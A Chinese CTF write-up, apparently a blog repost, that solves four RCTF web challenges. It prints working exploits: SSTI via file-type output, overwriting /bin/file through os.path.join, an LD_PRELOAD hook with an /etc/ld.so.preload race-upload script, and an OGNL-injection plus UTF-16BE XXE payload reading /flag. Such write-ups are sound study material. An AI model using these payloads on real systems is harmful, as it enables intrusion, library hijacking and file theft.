前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RCTF-Web

RCTF-Web

作者头像
pankas
发布2022-12-14 16:25:18
4620
发布2022-12-14 16:25:18
举报

filechecker_mini

给了源码,审计下

发现这里对 /bin/file 命令执行后的结果使用了 render_template_string 函数进行了渲染,存在ssti

image-20221212154531754
image-20221212154531754

现在是如何让 /bin/file -b 检验出的文件类型结果是我们可以字定义的字符串。

github上找到了 file 命令的源码,然后也简单了解了下 file 命令对应的magic文件。刚开始想歪了,因为可以跨目录上传文件,然后就想着向 $HOME/目录下上传一个自定义的 magic 文件来实现目的,但其实走偏了。

源码里的 magic/tests 目录下是大量的测试文件,批量测试下发现可以这样插入我们想要的字符串 (其实简单阅读下他这个magic文件也可以发现有很多文件类型都可以达到这样的目的,magic文件了对应有 %s 输出的。)

拓展阅读(题外话):

https://blog.csdn.net/sin90lzc/article/details/8575022

https://www.cnblogs.com/ddk3000/p/5051094.html

image-20221212155630904
image-20221212155630904

那么SSTI然后RCE

image-20221212155724659
image-20221212155724659

filechecker_plus

和上一题不一样的地方

image
image

render_template_string 函数换成了 render_template ,没办法SSTI了。

这里我当时确实不知道这个点,重点在 os.path.join 这个函数

官方文档 中说到

os.path.join(path, *paths) 智能地拼接一个或多个路径部分。 返回值是 path 和 *paths 的所有成员的拼接,其中每个非空部分后面都紧跟一个目录分隔符,最后一个部分除外,这意味着如果最后一个部分为空,则结果将以分隔符结尾。 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。 在 Windows 上,遇到绝对路径部分(例如 r'\foo')时,不会重置盘符。如果某部分路径包含盘符,则会丢弃所有先前的部分,并重置盘符。请注意,由于每个驱动器都有一个“当前目录”,所以 os.path.join("c:", "foo") 表示驱动器 C: 上当前目录的相对路径 (c:foo),而不是 c:\foo

注意这里 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。

那么如果我么上传的文件名是绝对路径的话,前面的部分丢弃,直接就是我绝对路径的结果

image-20221212161207683
image-20221212161207683

而这里的逻辑

image-20221212161255166
image-20221212161255166

文件名不存在 .. 所以可以成功覆盖 /bin/file 文件。

注意:这里上传可执行的二进制文件,不然 subprocess.check_output 是没法执行的(也可能是我这边的问题)后来发现是bp的问题,在bp里要把多余的 \r 去掉才行。。

代码语言:javascript
复制
#include <stdlib.h>
int main() {
    system("cat /flag");
    return 0;
}

linux下编译,然后上传执行拿到flag

这里有坑,以后上传二进制文件不要用 burp suite 做代理,会损坏二进制文件的(可能是我bp有问题吧)

代码语言:javascript
复制
import requests

url = "http://159.138.110.192:23002/"

with open("./shell", "rb") as f:
    file = {"file-upload": ("/bin/file", f)}
    res = requests.post(url, files=file)
print(res.text)
image-20221212183941870
image-20221212183941870

filechecker_pro_max

和plus不一样的地方

image1
image1

这里没法像上一个那样覆盖 /bin/file 了。

然后没啥思路,赛后复现

前置知识

  • 使用 strace 命令查看系统调用。

这题看上去确实没啥漏洞利用点,所以这个 /bin/file 的可执行文件应该有古怪的,分析这个要么找源码分析,要么用 strace 命令看看它有那些系统调用,也许调用了某个动态链接库的函数,从而上传有关动态链接库来达到目的。

  • /etc/ld.so.preload(默认配置文件)

参考文章 https://payloads.online/archivers/2020-01-01/1/

https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/

通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。 Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和 默认配置文件/etc/ld.so.preload ,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。 通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。 dlsym是一个计算机函数,功能是根据动态链接库操作句柄与符号,返回符号对应的地址,不但可以获取函数地址,也可以获取变量地址 劫持 whoami

代码语言:javascript
复制
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
  int (*new_puts)(const char *message);
  int result;
  new_puts = dlsym(RTLD_NEXT, "puts");
  // do some thing …
  // 这里是puts调用之前
  result = new_puts(message);
  // 这里是puts调用之后
  return result;
}

示例

例如我们要劫持 whoami命令

strace /bin/whoami 发现确实会加载 /etc/ld.so.preload 配置文件来加载动态链接库

image-20221213174324969
image-20221213174324969

上传配置文件 /etc/ld.so.preload :

代码语言:javascript
复制
/tmp/poc.so

由于 whoami 底层会调用 puts 函数输出,可以劫持这个函数

hook.c :

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  printf("hack you!!!");
  system("id");
  return 0;
}

编译

代码语言:javascript
复制
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

poc.so 上传至 /tmp/poc.so

执行 whoami 命令

image-20221213174825365
image-20221213174825365

成功劫持 whoami 命令

题解

这题也是同样的道理,/etc/ld.so.preload 文件默认是没有的,先查看下 /bin/file 是否会加载 /etc/ld.so.preload 配置文件

代码语言:javascript
复制
strace /bin/file
image-20221213175113836
image-20221213175113836

可以看到确实是这样的。

在找找 /bin/file 这个可执行文件可以劫持哪些函数

直接看源码 https://github.com/file/file

file.c 中的main函数中随便找个函数劫持就行,这里找的是 magic_version() ,没有参数,方便

image-20221213180446301
image-20221213180446301

hook.c :

代码语言:javascript
复制
#include <stdlib.h>

void magic_version() {
  system("cat /flag");
}

编译

代码语言:javascript
复制
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

然后就上传 /etc/ld.so.preload(内容:/tmp/hook.so) 和 /tmp/hook.so

本地测试成功劫持

image-20221213180758036
image-20221213180758036

本题由于上传的两个文件保存后会被删除,所以还要条件竞争下。

exp :

代码语言:javascript
复制
import requests
import threading
import re

url = "http://140.210.199.170:33001/"

def upload1():
    file = {"file-upload": ("/etc/ld.so.preload", open("./ld.so.preload", "r"))}
    res = requests.post(url, files=file)
    print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
    
def upload2():
    file = {"file-upload": ("/tmp/hook.so", open("./hook.so", "rb"))}
    res = requests.post(url, files=file)
    print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
    
if __name__ == "__main__":
    for i in range(100):
        threading.Thread(target=upload1).start()
        threading.Thread(target=upload2).start()
image-20221213191219690
image-20221213191219690

这里我用bp尝试条件竞争上传,失败了,我的burp果然是有问题的,上传不了二进制文件。

ezbypass

java题,当时做的时候卡在了 OGNL 表达式注入上了。

为了方便调试我把源码搬过来又重新构建了项目

过滤器这里没什么好说的,直接 /index;.ico 绕过就行,具体原理我以前分析过,可参考 https://pankas.top/2022/11/18/springboot%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0-%E8%80%81%E7%89%88newbeemall%E5%AE%A1%E8%AE%A1/#%E8%B6%8A%E6%9D%83

然后是SQL注入这里,这里直接ban掉了 ' ,似乎没啥办法,但注意到项目使用了 mybatis 框架

image-20221213222125815
image-20221213222125815
image-20221213222111742
image-20221213222111742

mybatis是支持 OGNL 表达式的,有关 OGNL 表达式语法参考 https://cloud.tencent.com/developer/article/1554322

所以这里存在 OGNL 表达式注入

利用

代码语言:javascript
复制
${@java.lang.Character@toString(39)}

绕过即可

然后是XXE读文件,这里有waf

代码语言:javascript
复制
public static boolean check(byte[] poc) throws Exception {
        String str = new String(poc);
        String[] blacklist = new String[]{"!DOCTYPE", new String(new byte[]{-2, -1}), new String(new byte[]{-1, -2})};
        String[] var3 = blacklist;
        int var4 = blacklist.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String black = var3[var5];
            if (str.indexOf(black) != -1) {
                System.out.println("not allow");
                return false;
            }
        }

        return true;
}

参考 https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/

An XML document can be encoded not only in UTF-8, but also in UTF-16 (two variants — BE and LE), in UTF-32 (four variants — BE, LE, 2143, 3412), and in EBCDIC. With the help of such encodings, it is easy to bypass a WAF using regular expressions since, in this type of WAF, regular expressions are often configured only for a one-character set.

可利用 UTF-16BE 编码绕过

后续利用反射继 续 将 解 析 出 来 的 字 节 数 组 使 用 ByteArrayInputStream 转 换 为 输 入 流 , 然 后 使 用 org.xml.sax.InputSource 转换为 xml 可识别的格式。

简单分析下反射这部分逻辑(正好复习下反射):

就直接写到注释里了

代码语言:javascript
复制
public static String xxe(String b64poc, String type, String[] classes) throws Exception {
        String res = "";
        byte[] bytepoc = Base64.getDecoder().decode(b64poc);//获取到的是字节数组
        if (check(bytepoc)) {//要绕过 check 的waf检测,可利用UTF-16编码绕过
            //创建XML文档对象
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = dbf.newDocumentBuilder();
            InputSource inputSource = null;
            Object wrappoc = null;
            //利用反射获取一个我们自定义的构造器,需要一个 ByteArrayInputStream 的对象
            //classes[0] 应为 java.io.ByteArrayInputStream , classes[1] 应为 byte数组类型的类名 B[
            Constructor constructor = Class.forName(classes[0]).getDeclaredConstructor(Class.forName(classes[1]));
            if (type.equals("string")) {
                String stringpoc = new String(bytepoc);
                wrappoc = constructor.newInstance(stringpoc);
            } else {
                wrappoc = constructor.newInstance(bytepoc);//要获得 ByteArrayInputStream 对象
            }
            //获得一个InputSource的构造器 classes[2] 为 org.xml.sax.InputSource,该构造器参数为抽象类 InputStream
            //classes[3] 为 抽象类InputStream 的子类 ByteArrayInputStream
            inputSource = (InputSource)Class.forName(classes[2]).getDeclaredConstructor(Class.forName(classes[3])).newInstance(wrappoc);
            Document doc = builder.parse(inputSource);
            NodeList nodes = doc.getChildNodes();

            for(int i = 0; i < nodes.getLength(); ++i) {
                if (nodes.item(i).getNodeType() == 1) {
                    res = res + nodes.item(i).getTextContent();
                    System.out.println(nodes.item(i).getTextContent());
                }
            }
        }

        return res;
}

exp :

代码语言:javascript
复制
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception{
        String poc = "<?xml version=\"1.0\"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM \"file:///flag\">]><abc>&xxe;</abc>";
        byte[] pocBytes = poc.getBytes(StandardCharsets.UTF_16BE);
        String encodedPoc = Base64.getEncoder().encodeToString(pocBytes);
        System.out.println(encodedPoc);
    }
}

payload :

代码语言:javascript
复制
/index;.ico?password=a${@java.lang.Character@toString(39)}) OR 1#&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA+ADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA+ACYAeAB4AGUAOwA8AC8AYQBiAGMAPg==
&type=aaa&yourclasses=java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream

url编码下发送

代码语言:javascript
复制
/index;.ico?password=a%24%7B%40java.lang.Character%40toString(39)%7D)%20OR%201%23&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA%2BADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA%2BACYAeAB4AGUAOwA8AC8AYQBiAGMAPg%3D%3D
&type=aaa&yourclasses=java.io.ByteArrayInputStream%2C%5BB%2Corg.xml.sax.InputSource%2Cjava.io.InputStream

还有上面反射调用的那个 B[byte[] 的类名,这里记录下

image-20221214001727594
image-20221214001727594
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • filechecker_mini
  • filechecker_plus
  • filechecker_pro_max
    • 前置知识
      • 示例
    • 题解
    • ezbypass
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档